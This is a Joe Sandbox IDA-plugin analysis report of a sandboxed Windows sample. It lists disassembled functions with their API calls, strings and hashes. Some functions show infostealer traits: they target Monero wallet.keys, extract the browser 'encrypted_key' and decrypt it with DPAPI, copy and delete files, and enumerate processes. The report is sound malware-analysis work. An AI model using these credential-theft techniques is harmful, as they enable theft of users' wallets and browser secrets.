Function 00608D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0060951E,00000000), ref: 00608D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00608D62
wsprintfW.USER32 ref: 00608D78

Strings

%hs, xrefs: 00608D6F

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: e0768300aa1efc0d1a4d511124b3011df7aa1a3e0a4ca23ce1d7dc1c47a1b26e
Instruction ID: d81c12f07253f543b5eeeca9c1c14c4f27f62b0532675ad8ba484067f42870e2
Opcode Fuzzy Hash: e0768300aa1efc0d1a4d511124b3011df7aa1a3e0a4ca23ce1d7dc1c47a1b26e
Instruction Fuzzy Hash: 96E08CB0A40208FBDB04DB94DC0EE69B7B8FB84702F0004A4FD4A87280DA719E008B92

Function 005FA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 00608B60: GetSystemTime.KERNEL32(00610E1A,01409EE8,006105AE,?,?,005F13F9,?,0000001A,00610E1A,00000000,?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 00608B86

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005FA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 005FA3FF
lstrlen.KERNEL32(00000000), ref: 005FA6BC

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

DeleteFileA.KERNEL32(00000000), ref: 005FA743

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 989418a60de2a7c18fa9ae2b942aa5828938ecf609fa8b34ad01132874ba61df
Instruction ID: 8bf965652598bb41bb86c699fa80bdacb38e52c407f6d501aded5db3f09e874e
Opcode Fuzzy Hash: 989418a60de2a7c18fa9ae2b942aa5828938ecf609fa8b34ad01132874ba61df
Instruction Fuzzy Hash: 5DE10C729502089ADB4CEBE4DC92EEF733AAF64340F50855CF516720D1EF346A49CB6A

Function 005FD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 00608B60: GetSystemTime.KERNEL32(00610E1A,01409EE8,006105AE,?,?,005F13F9,?,0000001A,00610E1A,00000000,?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 00608B86

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005FD481
lstrlen.KERNEL32(00000000), ref: 005FD698
lstrlen.KERNEL32(00000000), ref: 005FD6AC
DeleteFileA.KERNEL32(00000000), ref: 005FD72B

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 184f6ad21d4d5b175266948276fe86c7590cc6a36b8a0d5ac22a3d8c44a88fc3
Instruction ID: f72a0331156f864f5e69679e4e94c55633305ec2049a26f1c9c73aaece79b37c
Opcode Fuzzy Hash: 184f6ad21d4d5b175266948276fe86c7590cc6a36b8a0d5ac22a3d8c44a88fc3
Instruction Fuzzy Hash: EA911F719502089ADB4CEBE0DD96EEF733AAF54340F50856CF507A60D1EF346A09CB6A

Function 005FD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 00608B60: GetSystemTime.KERNEL32(00610E1A,01409EE8,006105AE,?,?,005F13F9,?,0000001A,00610E1A,00000000,?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 00608B86

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005FD801
lstrlen.KERNEL32(00000000), ref: 005FD99F
lstrlen.KERNEL32(00000000), ref: 005FD9B3
DeleteFileA.KERNEL32(00000000), ref: 005FDA32

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: abc38cbb02c1aa08ff246989470e4a3986f406cf10a1c930b359b17e0d01bc5d
Instruction ID: 7ff00ff2e51632b1d188b5f698d9cfc7f4617796a38087f546b7251911eb7569
Opcode Fuzzy Hash: abc38cbb02c1aa08ff246989470e4a3986f406cf10a1c930b359b17e0d01bc5d
Instruction Fuzzy Hash: E981ED719502089ADB4CEBE0DD96EEF733ABF54340F50851CF547A60D1EE346A09CB6A

Function 006070D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0060718C
s`, xrefs: 00607111
s`, xrefs: 006072AE, 00607179, 0060717C

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s`$s`$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-2599111893
Opcode ID: 06f1366c992aeb6a76cb83e032d96d6ac7e216589874198058bfdcf8bf92ca31
Instruction ID: ff79174e02625838fdef1e3da63ce3d96b0ea60f20ac1cb0fe67fd7b1ca13346
Opcode Fuzzy Hash: 06f1366c992aeb6a76cb83e032d96d6ac7e216589874198058bfdcf8bf92ca31
Instruction Fuzzy Hash: C9518EB0D842089BDB58EB90DC85BEEB776AF44304F1480ACE205762C1EB746E89CF59

Function 00603560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: f69c774ce94a6f54efaa07c71f5a475236e921d191d12da43597d6257073b0bf
Instruction ID: 1ace54654866d1be962fcf58be77e09b95d5e2bbbd74f086dace84c8834f185e
Opcode Fuzzy Hash: f69c774ce94a6f54efaa07c71f5a475236e921d191d12da43597d6257073b0bf
Instruction Fuzzy Hash: 0D415C75D50209AFDF08EFE4D845AEFB77AAB44304F008418E412762D0EB75AA46CFA6

Function 005F9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 005F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005F99EC
Part of subcall function 005F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005F9A11
Part of subcall function 005F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005F9A31
Part of subcall function 005F99C0: ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005F9A5A
Part of subcall function 005F99C0: LocalFree.KERNEL32(005F148F), ref: 005F9A90
Part of subcall function 005F99C0: CloseHandle.KERNEL32(000000FF), ref: 005F9A9A

Part of subcall function 00608E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00608E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005F9D39

Part of subcall function 005F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N_,00000000,00000000), ref: 005F9AEF
Part of subcall function 005F9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,005F4EEE,00000000,?), ref: 005F9B01
Part of subcall function 005F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N_,00000000,00000000), ref: 005F9B2A
Part of subcall function 005F9AC0: LocalFree.KERNEL32(?,?,?,?,005F4EEE,00000000,?), ref: 005F9B3F

Part of subcall function 005F9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005F9B84
Part of subcall function 005F9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 005F9BA3
Part of subcall function 005F9B60: LocalFree.KERNEL32(?), ref: 005F9BD3

Strings

, xrefs: 005F9DC1
DPAPI, xrefs: 005F9D89
"encrypted_key":", xrefs: 005F9D30

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: a512c5286a779967e69f6c4e28042d8f6b09c6ebd5e3154bd6e641335abf4e00
Instruction ID: c56094e355ff2405e4fb4f40a69a141f019fe9636d6c81e1db5988718b403f4f
Opcode Fuzzy Hash: a512c5286a779967e69f6c4e28042d8f6b09c6ebd5e3154bd6e641335abf4e00
Instruction Fuzzy Hash: 363110B5D1020DABCB04EBE4DC85BFFBBB9BB48304F144519EA05A7241E7349A44CBA5

Function 00608680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006105B7), ref: 006086CA
Process32First.KERNEL32(?,00000128), ref: 006086DE
Process32Next.KERNEL32(?,00000128), ref: 006086F3

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

CloseHandle.KERNEL32(?), ref: 00608761

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 36de9ed0d4310b187b7429ee43a8027356eeddd3f82d7556216797b4e9dd9c89
Instruction ID: 9c4ee332ff7790cb19471bafea92026ebb86b64db4aa09647db03f88bc7fc7b9
Opcode Fuzzy Hash: 36de9ed0d4310b187b7429ee43a8027356eeddd3f82d7556216797b4e9dd9c89
Instruction Fuzzy Hash: 46315971951218ABDB68DB90CC85FEFB77AFB44740F1085A9A10AA21E0DB706A45CFA1

Function 00607980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00610E00,00000000,?), ref: 006079B0
RtlAllocateHeap.NTDLL(00000000), ref: 006079B7
GetLocalTime.KERNEL32(?,?,?,?,?,00610E00,00000000,?), ref: 006079C4
wsprintfA.USER32 ref: 006079F3

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: bd3f2f12a224ee21e3dbb505ed25a81bf06b8b2ef5402784fefc82fc11826a05
Instruction ID: c5deaeb271ee4cb99ec33198759170a81e2dcff184c5119a2be937f00b7bac93
Opcode Fuzzy Hash: bd3f2f12a224ee21e3dbb505ed25a81bf06b8b2ef5402784fefc82fc11826a05
Instruction Fuzzy Hash: 981115B2944118AACB18DFC9DD45BBEB7F8FB88B11F10461AF645A2280E2395940CBB1

Function 0060C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0060C74E

Part of subcall function 0060BF9F: __amsg_exit.LIBCMT ref: 0060BFAF

__getptd.LIBCMT ref: 0060C765
__amsg_exit.LIBCMT ref: 0060C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0060C797

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
